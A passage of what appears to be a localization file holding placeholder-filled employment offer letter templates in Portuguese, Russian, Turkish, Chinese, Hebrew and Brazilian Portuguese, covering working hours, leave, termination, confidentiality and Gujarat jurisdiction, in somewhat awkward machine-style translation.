Os dias normais de trabalho são de segunda a sexta-feira. Você será obrigado a trabalhar por tais horas, conforme necessário para a quitação adequada de suas funções para a Companhia. As horas de trabalho normais são de {start_time} para {end_time} e você deve trabalhar não menos de {total_horas} horas semanais, e se necessário para horas adicionais dependendo do seu

responsabilidades.

6. Leave / Holidays

6,1 Você tem direito a licença casual de 12 dias.

6,2 Você tem direito a 12 dias úteis de licença remunerada remunerada.

6,3 Companhia notificará uma lista de feriados declarados no início de cada ano. 

7. Natureza dos deveres

Você irá executar ao melhor da sua habilidade todos os deveres como são inerentes ao seu cargo e tais deveres adicionais como a empresa pode ligar sobre você para executar, de tempos em tempos. Os seus deveres específicos são estabelecidos no Hereto do Planejamento II.

8. Propriedade da empresa

Você sempre manterá em bom estado propriedade Empresa, que poderá ser confiada a você para uso oficial durante o curso de

o seu emprego, e devolverá toda essa propriedade à Companhia antes de abdicar de sua acusação, falhando qual o custo do mesmo será recuperado de você pela Companhia.

9. Borremir / aceitar presentes

Você não vai pedir empréstimo ou aceitar qualquer dinheiro, presente, recompensa ou indenização por seus ganhos pessoais de ou de outra forma colocar-se sob obrigação pecuniária a qualquer pessoa / cliente com quem você pode estar tendo relações oficiais.

10. Terminação

10,1 Sua nomeação pode ser rescindida pela Companhia, sem qualquer razão, dando-lhe não menos do que [aviso] meses de aviso prévio por escrito ou de salário em lieu deste. Para efeito da presente cláusula, o salário deve significar salário base.

10,2 Você pode rescindir seu emprego com a Companhia, sem qualquer causa, ao dar nada menos que [Aviso de contratação] meses de aviso prévio ou salário para o período não salvo, deixado após ajuste de folhas pendentes, conforme data de encontro.

10,3 Empresa reserva-se o direito de rescindir o seu emprego sumariamente sem qualquer prazo de aviso ou de rescisão se tiver terreno razoável para acreditar que você é culpado de má conduta ou negligência, ou tenha cometido qualquer violação fundamental de contrato, ou tenha causado qualquer perda para a Empresa. 

10. 4 Sobre a rescisão do seu emprego por qualquer motivo, você retornará para a Empresa todos os bens; documentos e 

papel, tanto originais como cópias dos mesmos, incluindo quaisquer amostras, literatura, contratos, registros, listas, desenhos, plantas,

cartas, notas, dados e semelhantes; e Informações Confidenciais, em sua posse ou sob seu controle relacionado ao seu emprego ou aos negócios de negócios dos clientes.   

11. Informações Confidenciais

11. 1 Durante o seu emprego com a Companhia você irá dedicar todo o seu tempo, atenção e habilidade para o melhor de sua capacidade de

o seu negócio. Você não deve, direta ou indiretamente, se envolver ou associar-se com, estar conectado com, preocupado, empregado, ou tempo ou prosseguir qualquer curso de estudo, sem a permissão prévia do Company.engajado em qualquer outro negócio ou atividades ou qualquer outro cargo ou trabalho parcial ou prosseguir qualquer curso de estudo, sem a permissão prévia do

Empresa.

11,2 É preciso manter sempre o mais alto grau de confidencialidade e manter como confidenciais os registros, documentos e outros 

Informações confidenciais relativas ao negócio da Companhia que possam ser conhecidas por você ou confiadas em você por qualquer meio e utilizarão tais registros, documentos e informações apenas de forma devidamente autorizada no interesse da Companhia. Para efeitos da presente cláusula "Informações confidenciais" significa informação sobre os negócios da Companhia e a dos seus clientes que não está disponível para o público em geral e que poderá ser aprendida por você no curso do seu emprego. Isso inclui,

mas não se limita a, informações relativas à organização, suas listas de clientes, políticas de emprego, pessoal, e informações sobre os produtos da Companhia, processos incluindo ideias, conceitos, projeções, tecnologia, manuais, desenho, desenhos, 

especificações, e todos os papéis, currículos, registros e outros documentos que contenham tais Informações Confidenciais.

11,3 Em nenhum momento, você removerá quaisquer Informações Confidenciais do escritório sem permissão.

11,4 O seu dever de salvaguardar e não os desclos

Informações Confidenciais sobreviverão à expiração ou à rescisão deste Contrato e / ou do seu emprego com a Companhia.

11,5 Violação das condições desta cláusula irá torná-lo sujeito a demissão sumária sob a cláusula acima, além de qualquer outro remédio que a Companhia possa ter contra você em lei.

12. Notices

Os avisos podem ser conferidos por você à Empresa em seu endereço de escritório registrado. Os avisos podem ser conferidos pela Companhia a você no endereço intimado por você nos registros oficiais.

13. Aplicabilidade da Política da Empresa

A Companhia tem direito a fazer declarações de política de tempos em tempos relativos a matérias como licença de licença, maternidade

sair, benefícios dos empregados, horas de trabalho, políticas de transferência, etc., e pode alterar o mesmo de vez em quando a seu exclusivo critério.

Todas essas decisões de política da Companhia devem ser vinculativas para si e substituirão este Acordo nessa medida.

14. Direito / Jurisdição

Seu emprego com a Companhia está sujeito às leis do País. Todas as disputas estão sujeitas à jurisdição do Tribunal Superior

Gujarat apenas.

15. Aceitação da nossa oferta

Por favor, confirme sua aceitação deste Contrato de Emprego assinando e retornando a cópia duplicada.

Nós acolhemos você e estamos ansiosos para receber sua aceitação e para trabalhar com você.

Seu Sinceramente,

{app_name}

{data}

', 'ru' => '

Присоединение к письму

{date}

{ employee_name }

{address}

Тема: Назначение на должность {designation}

Уважаемый { employee_name },

Мы рады предложить Вам, позицию {designation} с { app_name } Компания на следующих условиях и

условия:

1. Начало работы

Ваше трудоустройство будет эффективным, начиная с { start_date }

2. Название должности

Ваш заголовок задания будет {designation}.

3. Зарплата

Ваши оклады и другие пособия будут установлены в соответствии с расписанием, изложенным в приложении 1 к настоящему.

4. Место размещения

Вы будете работать в { branch }. Вы, однако, можете работать в любом месте, которое компания имеет или может впоследствии приобрести.

5. Часы работы

Обычные рабочие дни-с понедельника по пятницу. Вы должны будете работать в течение таких часов, как это необходимо для надлежащего выполнения Ваших обязанностей перед компанией. Обычные рабочие часы-от { start_time } до { end_time }, и вы, как ожидается, будут работать не менее { total_hours } часов каждую неделю, и при необходимости в течение дополнительных часов в зависимости от вашего

ответственности.

6. Отпуск/Праздники

6.1 Вы имеете право на случайный отпуск продолжительностью 12 дней.

6.2 Вы имеете право на 12 рабочих дней оплачиваемого отпуска по болезни.

6.3 Компания в начале каждого года уведомляет об объявленных праздниках. 

7. Характер обязанностей

Вы будете выполнять все обязанности, присующие вам, и такие дополнительные обязанности, которые компания может призвать к вам, время от времени. Ваши конкретные обязанности изложены в приложении II к настоящему.

8. Свойство компании

Вы всегда будете поддерживать в хорошем состоянии имущество Компании, которое может быть доверено Вам для служебного пользования в течение

вашей занятости, и возвратит все это имущество Компании до отказа от вашего заряда, при отсутствии которого стоимость одного и того же имущества будет взыскана с Вас компанией.

9. Боровить/принять подарки

Вы не будете брать взаймы или принимать какие-либо деньги, подарки, вознаграждение или компенсацию за ваши личные доходы от или в ином месте под денежный долг любому лицу/клиенту, с которым у вас могут быть официальные сделки.

10. Прекращение

10.1 Ваше назначение может быть прекращено компанией без каких бы то ни было оснований, предоставляя Вам не менее [ Уведомление] месяцев, предшея уведомлению в письменной форме или окладе вместо них. Для целей этого положения заработная плата означает базовый оклад.

10.2 Вы можете прекратить свою трудовую деятельность с компанией без каких-либо причин, предоставляя не меньше, чем [ Employee Notice] months предварительное уведомление или оклад за несохраненный период, оставатся после корректировки отложенных листьев, как на сегодняшний день.

10.3 Компания оставляет за собой право прекратить вашу работу в суммарном порядке без какого-либо уведомления о сроке или увольнении, если у нее есть достаточные основания полагать, что вы виновны в проступке или халатности, или совершили какое-либо существенное нарушение договора, или причинило убытки Компании. 

10. 4 О прекращении вашей работы по какой бы то ни было причине вы вернетесь в Компании все имущество; документы, а 

бумаги, как оригинальные, так и их копии, включая любые образцы, литературу, контракты, записи, списки, чертежи, чертежи,

письма, заметки, данные и тому подобное; и Конфиденциальная информация, в вашем распоряжении или под вашим контролем, связанным с вашей работой или деловыми делами клиентов.   

11. Конфиденциальная информация

11. 1 Во время вашего трудоустройства с компанией Вы посвяте все свое время, внимание, умение максимально

Его бизнес. Вы не должны, прямо или косвенно, заниматься или ассоциировать себя с заинтересованными, занятым, занятым, или временем, или продолжать любой курс обучения, без предварительного разрешения Компани.заниматься каким-либо другим бизнесом или деятельностью или любой другой пост или работать неполный рабочий день или заниматься какой бы то ни было исследованием, без предварительного разрешения

Компания.

11.2 Вы всегда должны сохранять наивысшую степень конфиденциальности и хранить в качестве конфиденциальной записи, документы и другие 

Конфиденциальная информация, касающаяся бизнеса Компании, которая может быть вам известна или конфиденциальна любым способом, и Вы будете использовать такие записи, документы и информацию только в установленном порядке в интересах Компании. Для целей настоящей статьи "Конфиденциальная информация" означает информацию о бизнесе Компании и о ее клиентах, которая недоступна для широкой общественности и которая может быть изучилась Вами в ходе вашей работы. Это включает в себя:

но не ограничивается информацией, касающейся организации, ее списков клиентов, политики в области занятости, персонала и информации о продуктах Компании, процессах, включая идеи, концепции, прогнозы, технологии, руководства, чертеж, чертеж, 

спецификации, и все бумаги, резюме, записи и другие документы, содержащие такую Конфиденциальную Информацию.

11.3 В любое время вы не будете удалять конфиденциальную информацию из офиса без разрешения.

11.4 Ваш долг защищать и не отсосать

e Конфиденциальная информация выдержит срок действия или прекращения действия настоящего Соглашения и/или вашей работы с компанией.

11.5 Нарушение условий, изложенных в настоящем положении, приведет к тому, что в дополнение к любым другим средствам правовой защиты, которые компания может иметь против вас, в соответствии с вышеприведенным положением, вы можете получить краткое увольнение в соответствии с этим положением.

12. Замечания

Уведомления могут быть даны Вами Компании по адресу ее зарегистрированного офиса. Извещения могут быть даны компанией Вам по адресу, с которым вы в официальных отчетах.

13. Применимость политики компании

Компания вправе время от времени делать политические заявления по таким вопросам, как право на отпуск, материнство

отпуска, пособия для работников, продолжительность рабочего дня, трансферная политика и т.д. и время от времени могут изменяться исключительно по своему усмотрению.

Все такие принципиальные решения Компании являются обязательными для Вас и переопределяют это Соглашение в такой степени.

14. Регулирующий Право/юрисдикция

Ваше трудоустройство с компанией подпадает под действие законов страны. Все споры подлежат юрисдикции Высокого суда

Только Гуджарат.

15. Принятие нашего предложения

Пожалуйста, подтвердите свое согласие с этим Договором о занятости, подписав и возвращая дубликат копии.

Мы приветствуем Вас и надеемся на то, что Вы принимаете свое согласие и работаете с Вами.

Искренне Ваш,

{ app_name }

{date}

', 'tr' => '

Katılma Mektubu

{date}

{employee_name}

{address}

Konu: Kadroya randevu {designation}

Canım {employee_name},

konumunu size sunmaktan mutluluk duyuyoruz {designation} ile {app_name} Şirket aşağıdaki şartlarla ve

koşullar:

1. işe başlama

İşe alımınız şu tarihten itibaren etkili olacaktır {start_date}

2. İş unvanı

İş unvanınız olacak{designation}.

3. Maaş

Maaşınız ve diğer menfaatleriniz Programda belirtildiği gibi olacaktır 1, buraya.

4. Gönderme Yeri

adresinde yayınlanacaksınız {branch}. Ancak Şirketin sahip olduğu herhangi bir işyerinde çalışmanız gerekebilir veya

daha sonra edinebilir.

5. Çalışma saati

Normal çalışma günleri Pazartesiden Cumaya kadardır. için gerekli olan saatlerde çalışmanız istenecektir

Şirkete karşı görevlerinizi uygun şekilde yerine getirmek. Normal çalışma saatleri, {start_time} ile {end_time} ve sen

daha az çalışması beklenmiyor {total_hours} her hafta saat ve gerekirse, durumunuza bağlı olarak ek saatler

sorumluluklar.

6. İzin/Tatiller

6.1 12 gün izin hakkınız var.

6.2 12 iş günü ücretli hastalık izni hakkınız var.

6.3 Şirket, her yılın başında ilan edilen tatillerin bir listesini bildirecektir.

7. görevlerin niteliği

Görevinizin doğasında bulunan tüm görevleri ve şirket olarak bu tür ek görevleri elinizden gelen en iyi şekilde yerine getireceksiniz

zaman zaman performans göstermeniz için sizi çağırabilir. Özel görevleriniz, burada Çizelge IIde belirtilmiştir.

8. Şirket mülkiyeti

Görev süresince resmi kullanım için size emanet edilmiş olabilecek Şirket mallarını her zaman iyi durumda tutacaksınız

istihdamınızdan feragat etmeden önce bu tür tüm mülkleri Şirkete iade edecektir, aksi takdirde maliyet

aynı tutar Şirket tarafından sizden tahsil edilecektir.

9. Ödünç alma/hediye kabul etme

Kişisel kazançlarınız için kendinizden herhangi bir para, hediye, ödül veya tazminat ödünç almayacak veya kabul etmeyeceksiniz

resmi ilişkiler içinde olabileceğiniz herhangi bir kişiye/müşteriye karşı maddi yükümlülük altında.

10. Sonlandırma

10.1 Randevunuz Şirket tarafından size en az [Bildirim] ay öncesinden bildirimde bulunularak herhangi bir sebep göstermeksizin feshedilebilir

yazılı bildirim veya bunun yerine maaş. Bu maddenin amaçları doğrultusunda maaş, temel maaş anlamına gelir.

10.2 [Çalışan Bildirimi]nden daha az olmamak kaydıyla, Şirketteki çalışmanızı herhangi bir sebep göstermeden feshedebilirsiniz

ay önceden ihbar veya kaydedilmemiş dönem için maaş, tarih itibariyle bekleyen izinlerin ayarlanmasından sonra kalan.

10.3 Şirket, herhangi bir ihbar süresi veya fesih ödemesi olmaksızın iş akdinizi aniden feshetme hakkını saklı tutar

suiistimal veya ihmalden suçlu olduğunuza veya herhangi bir temel ihlalde bulunduğunuza inanmak için makul bir gerekçesi varsa

sözleşmeye veya Şirkete herhangi bir zarara neden oldu.

10. 4 Herhangi bir nedenle işinize son verildiğinde, tüm mal varlığınızı Şirkete iade edeceksiniz; belgeler ve

tüm numuneler, literatür, sözleşmeler, kayıtlar, listeler, çizimler, planlar dahil olmak üzere kağıt, hem orijinali hem de kopyaları,

mektuplar, notlar, veriler ve benzerleri; ve Gizli Bilgiler, sizin mülkiyetinizde veya kontrolünüz altında

İstihdam veya müşterilerin iş ilişkilerine.

11. Kesin bilgi

11. 1 Şirkette çalıştığınız süre boyunca tüm zamanınızı, dikkatinizi ve becerinizi elinizden gelenin en iyisini yapmaya adayacaksınız

onun işi. Doğrudan veya dolaylı olarak kendinizle ilişki kurmamalı veya ilişkilendirmemeli, bunlarla bağlantı kurmamalı, ilgilenmemeli, istihdam edilmemeli veya

Şirketin önceden izni olmaksızın herhangi bir eğitim kursuna devam etmeyin veya herhangi bir kursa devam etmeyin

faaliyetleri veya diğer herhangi bir görev veya yarı zamanlı çalışma veya önceden izin almaksızın herhangi bir eğitim kursuna devam etme

Şirket.

11.2 Her zaman en yüksek derecede gizliliği korumalı ve kayıtları, belgeleri ve diğer bilgileri gizli tutmalısınız.

Sizin tarafınızdan bilinebilecek veya herhangi bir şekilde size güvenilebilecek Şirketin işleriyle ilgili Gizli Bilgiler

ve bu tür kayıtları, belgeleri ve bilgileri yalnızca usulüne uygun olarak Şirketin çıkarları doğrultusunda kullanacaksınız. İçin

bu maddenin amaçları Gizli Bilgiler, Şirketin ve müşterilerinin işleri hakkında bilgi anlamına gelir

halka açık olmayan ve istihdamınız sırasında sizin tarafınızdan öğrenilebilecek olan. Bu içerir,

ancak bunlarla sınırlı olmamak üzere, kuruluşa ilişkin bilgiler, müşteri listeleri, istihdam politikaları, personel ve bilgiler

fikirler, kavramlar, projeksiyonlar, teknoloji, kılavuzlar, çizimler, tasarımlar dahil olmak üzere Şirketin ürünleri, süreçleri hakkında,

spesifikasyonlar ve bu tür Gizli Bilgileri içeren tüm belgeler, özgeçmişler, kayıtlar ve diğer belgeler.

11.3 Gizli Bilgileri hiçbir zaman izinsiz olarak ofisten çıkarmayacak mısınız?.

11.4 Koruma ve açıklamama göreviniz

e Gizli Bilgiler, bu Sözleşmenin sona ermesinden veya feshedilmesinden ve/veya Şirketteki istihdamınızdan sonra da geçerliliğini koruyacaktır.

11.5 Bu maddenin koşullarının ihlali, sizi herhangi bir ek olarak yukarıdaki madde uyarınca derhal işten çıkarmaya yükümlü kılacaktır

Şirketin kanunen size karşı sahip olabileceği diğer çareler.

12. Bildirimler

Tebligatlar tarafınızca Şirket in kayıtlı ofis adresine gönderilebilir. Bildirimler Şirket tarafından size şu adreste verilebilir

tResmi kayıtlarda sizin tarafınızdan bildirilen adres.

13. Şirket Politikasının Uygulanabilirliği

Şirket, izin hakkı, analık gibi konularda zaman zaman poliçe beyanı yapmaya yetkilidir

izinler, çalışanlara sağlanan faydalar, çalışma saatleri, transfer politikaları vb. ve tamamen kendi takdirine bağlı olarak zaman zaman değiştirebilir.

Şirketin tüm bu tür politika kararları sizin için bağlayıcı olacak ve bu Sözleşmeyi o ölçüde geçersiz kılacaktır.

14. Geçerli Yasa/Yargı Yetkisi

Şirkette istihdamınız Ülke yasalarına tabidir. Tüm ihtilaflar Yüksek Mahkemenin yargı yetkisine tabi olacaktır.

sadece Gujarat.

15. teklifimizin kabulü

Lütfen bu İş Sözleşmesini kabul ettiğinizi imzalayarak ve kopya kopyayı geri göndererek onaylayın.

Size hoş geldiniz diyor ve kabulünüzü almayı ve sizinle çalışmayı sabırsızlıkla bekliyoruz.

Saygılarımla,

{app_name}

{date}

', 'zh' => '

加盟信

{date}

{employee_name}

{address}

主题:任命 {designation}

亲爱的 {employee_name},

我们很高兴为您提供以下职位: {designation} 和 {app_name} 公司按照以下条款和

状况:

1. 开始就业

您的雇佣关系将在以下日期生效 {start_date}

2. 职称

您的职位名称将是{designation}.

3. 薪水

您的工资和其他福利将在附表 1 中列出,此处为.

4. 发帖地点

您将被发布在 {branch}. 但是,您可能需要在公司拥有的任何营业地点工作,或者

以后可能会获得.

5. 几小时的工作

正常工作日为周一至周五。您将需要在必要的时间内工作

正确履行您对公司的职责。正常工作时间是从 {start_time} 到 {end_time} 而你是

预计工作不少于 {total_hours} 每周几个小时,如有必要,根据您的情况还可以增加几个小时

责任.

6. 休假/节假日

6.1 您有权享受 12 天的事假.

6.2 您有权享受 12 个工作日的带薪病假.

6.3 公司应在每年年初公布已宣布的假期清单.

7. 职责性质

您将尽最大努力履行您职位固有的所有职责以及公司的其他职责

可能会不时要求您表演。您的具体职责在附表 II 中列出,以便.

8. 公司财产

您将始终保持公司财产的良好状态,这些财产可能会在工作期间委托给您用于正式使用

您的工作,并应在放弃您的职责之前将所有此类财产归还给公司,否则费用

公司将向您追回相同的费用.

9. 借用/接受礼物

您不会借用或接受任何金钱、礼物、奖励或补偿来获取个人利益或以其他方式安置自己

对可能与您有正式往来的任何人/客户承担金钱义务.

10. 终止

10.1 公司可以在至少 [通知] 个月之前向您发出无任何理由的终止您的任命

书面通知或工资代替。本条所称工资是指基本工资.

10.2 您可以无任何理由地终止与公司的雇佣关系,只需发出不少于[员工通知]

提前几个月通知或未保存期间的工资,在待休假调整后剩余,截至日期.

10.3 公司保留立即终止雇佣关系的权利,无需任何通知期或终止付款

如果有合理的理由相信您犯有不当行为或疏忽,或犯有任何根本违反

合同,或给公司造成任何损失.

10. 4 无论出于何种原因终止雇佣关系,您都应将所有财产归还给公司;文件,以及

纸张,原件和复印件,包括任何样品、文献、合同、记录、清单、图纸、蓝图,

信件、笔记、数据等;您拥有或控制下的与您的相关的机密信息

就业或客户商务事务.

11. 机密信息

11. 1 在您受雇于公司期间,您将尽最大努力投入全部时间、注意力和技能,

它的业务。您不得直接或间接地参与、联系、涉及、雇用或参与

未经公司事先许可,花时间或进行任何学习课程。从事任何其他业务或

未经雇主事先许可,从事任何活动或任何其他职位或兼职工作或进行任何学习课程

公司.

11.2 您必须始终保持最高程度的机密性,并对记录、文件和其他内容保密

您可能知道或通过任何方式向您透露的与公司业务相关的机密信息

您只能以符合公司利益的正式授权方式使用此类记录、文件和信息。为了

本条款的目的机密信息是指有关公司业务及其客户业务的信息

这是一般公众无法获得的,但您可以在工作过程中了解到。这包括,

但不限于与组织、其客户名单、雇佣政策、人员和信息有关的信息

关于公司的产品、流程,包括想法、概念、预测、技术、手册、绘图、设计,

规范以及包含此类机密信息的所有文件、简历、记录和其他文件.

11.3 未经许可,您不得在任何时候从办公室删除任何机密信息.

11.4 您有责任保护且不泄露

e 机密信息在本协议到期或终止和/或您与公司的雇佣关系到期或终止后仍然有效.

11.5 违反本条款的条件将使您根据上述条款承担立即解雇的责任,此外,

公司可能在法律上对您采取的其他补救措施.

12. 通知

您可以通过公司的注册办公地址向公司发出通知。公司可能会向您发出通知,地址为:

您在正式记录中透露的地址.

13. 公司政策的适用性

公司有权不时就休假、生育等事宜作出政策声明

休假、员工福利、工作时间、调动政策等,并可自行决定不时更改.

公司的所有此类政策决定均对您具有约束力,并在一定程度上优先于本协议.

14. 适用法律/司法管辖区

您在公司的雇佣关系须遵守国家/地区法律。所有争议均受高等法院管辖

仅限古吉拉特邦.

15. 接受我们的报价

请签署并返回副本以确认您接受本雇佣合同.

我们欢迎您并期待得到您的认可并与您合作.

此致,

{app_name}

{date}

', 'he' => '

מכתב הצטרפות

{date}

{employee_name}

{address}

נושא: מינוי לתפקיד של {designation}

יָקָר {employee_name},

אנו שמחים להציע לך את התפקיד של {designation} עם {app_name} החברה בתנאים הבאים ו

תנאים:

1. תחילת עבודה

העסקתך תהיה אפקטיבית, החל מהיום {start_date}

2. הגדרת תפקיד

שם התפקיד שלך יהיה{designation}.

3. שכר

השכר וההטבות האחרות שלך יהיו כמפורט בנספח 1, כאן ל.

4. מקום הפרסום

אתה תפורסם ב {branch}. עם זאת, ייתכן שתידרש לעבוד בכל מקום עסק שיש לחברה, או

עשוי לרכוש מאוחר יותר.

5. שעות עבודה

ימי העבודה הרגילים הם שני עד שישי. תידרש לעבוד במשך שעות הדרושות לצורך

מילוי נאות של חובותיך כלפי החברה. שעות העבודה הרגילות הן מ {start_time} ל {end_time} ואתה

צפוי לעבוד לא פחות מ {total_hours} שעות בכל שבוע, ובמידת הצורך לשעות נוספות בהתאם לבחירתך

אחריות.

6. עזיבה/חגים

6.1 אתה זכאי לחופשה מזדמנת של 12 ימים.

6.2 אתה זכאי ל-12 ימי עבודה של חופשת מחלה בתשלום.

6.3 החברה תודיע על רשימת חגים מוכרזים בתחילת כל שנה.

7. אופי התפקידים

תבצע כמיטב יכולתך את כל התפקידים הגלומים בתפקידך וחובות נוספות כמו החברה

עשוי לקרוא לך להופיע, מעת לעת. החובות הספציפיות שלך מפורטות בלוח הזמנים II כאן כדי.

8. רכוש החברה

תמיד תשמור על רכוש החברה במצב טוב, אשר עשוי להיות מופקד בידיך לשימוש רשמי במהלך

העסקתך, ותחזיר את כל הרכוש כאמור לחברה לפני ויתור על החיוב שלך, אם לא העלות

ממנו יגבו ממך על ידי החברה.

9. השאלת/קבלת מתנות

לא תלווה או תקבל שום כסף, מתנה, תגמול או פיצוי עבור הרווחים האישיים שלך או תציב את עצמך בדרך אחרת.

תחת התחייבות כספית לכל אדם/לקוח שעמו אתה עשוי לנהל עסקאות רשמיות.

10. סיום

10.1 ניתן לסיים את מינויך על ידי החברה, ללא כל סיבה, על ידי מתן הודעה לא פחות מ[הודעה] חודשים לפני כן.

הודעה בכתב או משכורת במקומה. לעניין סעיף זה, שכר משמעו שכר יסוד.

10.2 אתה רשאי לסיים את העסקתך בחברה, ללא כל סיבה, על ידי מתן לא פחות מ[הודעת עובד]

חודשי הודעה מוקדמת או משכורת לתקופה שלא נחסכה, שנותרה לאחר התאמת חופשות ממתינות, לפי התאריך.

10.3 החברה שומרת לעצמה את הזכות לסיים את העסקתך באופן סופי ללא כל תקופת הודעה מוקדמת או תשלום פיטורין

אם יש לו יסוד סביר להאמין שאתה אשם בהתנהגות בלתי הולמת או ברשלנות, או שביצעת הפרה יסודית כלשהי של

חוזה, או גרם להפסד כלשהו לחברה.

10. 4 עם סיום העסקתך מכל סיבה שהיא, תחזיר לחברה את כל הרכוש; מסמכים, ו

נייר, הן מקור והעתקים שלו, לרבות כל דוגמאות, ספרות, חוזים, רשומות, רשימות, שרטוטים, שרטוטים,

מכתבים, הערות, נתונים וכדומה; ומידע סודי, הנמצא ברשותך או בשליטתך, המתייחס לרשותך

תעסוקה או עניינים עסקיים של לקוחות.

11. מידע מסווג

11. 1 במהלך עבודתך בחברה תקדיש את כל זמנך, תשומת הלב והמיומנות שלך כמיטב יכולתך למען

העסק שלה. אין, במישרין או בעקיפין, לעסוק או לקשר את עצמך, להיות קשור, מודאג, מועסק, או

זמן או להמשיך כל מסלול לימודים שהוא, ללא אישור מראש של החברה. העוסקת בכל עסק אחר או

פעילות או כל משרה אחרת או עבודה במשרה חלקית או להמשיך בכל מסלול לימודים שהוא, ללא אישור מראש של

חֶברָה.

11.2 עליך תמיד לשמור על רמת הסודיות הגבוהה ביותר ולשמור בסודיות את הרשומות, המסמכים ועוד.

מידע סודי המתייחס לעסקים של החברה אשר עשוי להיות ידוע לך או נסתר לך בכל אמצעי

ואתה תשתמש ברשומות, במסמכים ובמידע כאמור רק באופן מורשה כדין לטובת החברה. ל

המטרות של סעיף זה מידע סודי פירושו מידע על עסקי החברה ושל לקוחותיה

שאינו זמין לציבור הרחב ואשר עשוי להילמד על ידך במהלך העסקתך. זה כולל,

אך לא מוגבל למידע הנוגע לארגון, רשימות הלקוחות שלו, מדיניות העסקה, כוח אדם ומידע

על מוצרי החברה, תהליכים כולל רעיונות, קונספטים, תחזיות, טכנולוגיה, מדריכים, ציור, עיצובים,

מפרטים, וכל הניירות, קורות החיים, הרשומות ומסמכים אחרים המכילים מידע סודי כאמור.

11.3 בשום זמן לא תסיר כל מידע סודי מהמשרד ללא רשות.

11.4 חובתך לשמור ולא לחשוף

מידע סודי ישרוד את תפוגה או סיומו של הסכם זה ו/או העסקתך בחברה.

11.5 הפרת תנאי סעיף זה תגרום לך לדין לפיטורים על הסף על פי הסעיף לעיל בנוסף לכל

סעד אחר שייתכן שיש לחברה נגדך בחוק.

12. הודעות

הודעות עשויות להימסר על ידך לחברה בכתובת משרדה הרשום. ייתכן שהחברה תמסור לך הודעות בכתובת

הכתובת שצוינה על ידך ברישומים הרשמיים.

13. תחולת מדיניות החברה

החברה תהיה רשאית להצהיר מעת לעת הצהרות מדיניות הנוגעות לעניינים כמו זכאות לחופשה, לידה

חופשה, הטבות לעובדים, שעות עבודה, פוליסות העברה וכו, ועשויות לשנות אותן מעת לעת לפי שיקול דעתה הבלעדי.

כל החלטות מדיניות כאלה של החברה יחייבו אותך ויעקפו את הסכם זה במידה זו.

14. חוק / סמכות שיפוט

העסקתך בחברה כפופה לחוקי המדינה. כל המחלוקות יהיו כפופות לסמכותו של בית המשפט העליון

גוג אראט בלבד.

15. קבלת ההצעה שלנו

אנא אשר את הסכמתך לחוזה העסקה זה על ידי חתימה והחזרת העותק הכפול.

אנו מברכים אותך ומצפים לקבל את קבלתך ולעבוד איתך.

בכבוד רב,

{app_name}

{date}

', 'pt-br' => '

Carta De Adesão

{data}

{employee_name}

{address}

Assunto: Nomeação para o cargo de {designation}

Querido {employee_name},

Temos o prazer de oferecê-lo, a posição de {designation} com {app_name} a Empresa nos seguintes termos e

condições:

1. Comentamento do emprego

Seu emprego será efetivo, a partir de {start_date}

2. Título do emprego

Seu cargo de trabalho será {designation}.

3. Salário

Seu salário e outros benefícios serão conforme estabelecido no Planejamento 1, hereto.

4. Local de postagem

Você será postado em {branch}. Você pode, no entanto, ser obrigado a trabalhar em qualquer local de negócios que a Empresa tenha, ou possa posteriormente adquirir.

5. Horas de Trabalho

Os dias normais de trabalho são de segunda a sexta-feira. Você será obrigado a trabalhar por tais horas, conforme necessário para a quitação adequada de suas funções para a Companhia. As horas de trabalho normais são de {start_time} para {end_time} e você deve trabalhar não menos de {total_horas} horas semanais, e se necessário para horas adicionais dependendo do seu

responsabilidades.

6. Leave / Holidays

6,1 Você tem direito a licença casual de 12 dias.

6,2 Você tem direito a 12 dias úteis de licença remunerada remunerada.

6,3 Companhia notificará uma lista de feriados declarados no início de cada ano. 

7. Natureza dos deveres

Você irá executar ao melhor da sua habilidade todos os deveres como são inerentes ao seu cargo e tais deveres adicionais como a empresa pode ligar sobre você para executar, de tempos em tempos. Os seus deveres específicos são estabelecidos no Hereto do Planejamento II.

8. Propriedade da empresa

Você sempre manterá em bom estado propriedade Empresa, que poderá ser confiada a você para uso oficial durante o curso de

o seu emprego, e devolverá toda essa propriedade à Companhia antes de abdicar de sua acusação, falhando qual o custo do mesmo será recuperado de você pela Companhia.

9. Borremir / aceitar presentes

Você não vai pedir empréstimo ou aceitar qualquer dinheiro, presente, recompensa ou indenização por seus ganhos pessoais de ou de outra forma colocar-se sob obrigação pecuniária a qualquer pessoa / cliente com quem você pode estar tendo relações oficiais.

10. Terminação

10,1 Sua nomeação pode ser rescindida pela Companhia, sem qualquer razão, dando-lhe não menos do que [aviso] meses de aviso prévio por escrito ou de salário em lieu deste. Para efeito da presente cláusula, o salário deve significar salário base.

10,2 Você pode rescindir seu emprego com a Companhia, sem qualquer causa, ao dar nada menos que [Aviso de contratação] meses de aviso prévio ou salário para o período não salvo, deixado após ajuste de folhas pendentes, conforme data de encontro.

10,3 Empresa reserva-se o direito de rescindir o seu emprego sumariamente sem qualquer prazo de aviso ou de rescisão se tiver terreno razoável para acreditar que você é culpado de má conduta ou negligência, ou tenha cometido qualquer violação fundamental de contrato, ou tenha causado qualquer perda para a Empresa. 

10. 4 Sobre a rescisão do seu emprego por qualquer motivo, você retornará para a Empresa todos os bens; documentos e 

papel, tanto originais como cópias dos mesmos, incluindo quaisquer amostras, literatura, contratos, registros, listas, desenhos, plantas,

cartas, notas, dados e semelhantes; e Informações Confidenciais, em sua posse ou sob seu controle relacionado ao seu emprego ou aos negócios de negócios dos clientes.   

11. Informações Confidenciais

11. 1 Durante o seu emprego com a Companhia você irá dedicar todo o seu tempo, atenção e habilidade para o melhor de sua capacidade de

o seu negócio. Você não deve, direta ou indiretamente, se envolver ou associar-se com, estar conectado com, preocupado, empregado, ou tempo ou prosseguir qualquer curso de estudo, sem a permissão prévia do Company.engajado em qualquer outro negócio ou atividades ou qualquer outro cargo ou trabalho parcial ou prosseguir qualquer curso de estudo, sem a permissão prévia do

Empresa.

11,2 É preciso manter sempre o mais alto grau de confidencialidade e manter como confidenciais os registros, documentos e outros 

Informações confidenciais relativas ao negócio da Companhia que possam ser conhecidas por você ou confiadas em você por qualquer meio e utilizarão tais registros, documentos e informações apenas de forma devidamente autorizada no interesse da Companhia. Para efeitos da presente cláusula "Informações confidenciais" significa informação sobre os negócios da Companhia e a dos seus clientes que não está disponível para o público em geral e que poderá ser aprendida por você no curso do seu emprego. Isso inclui,

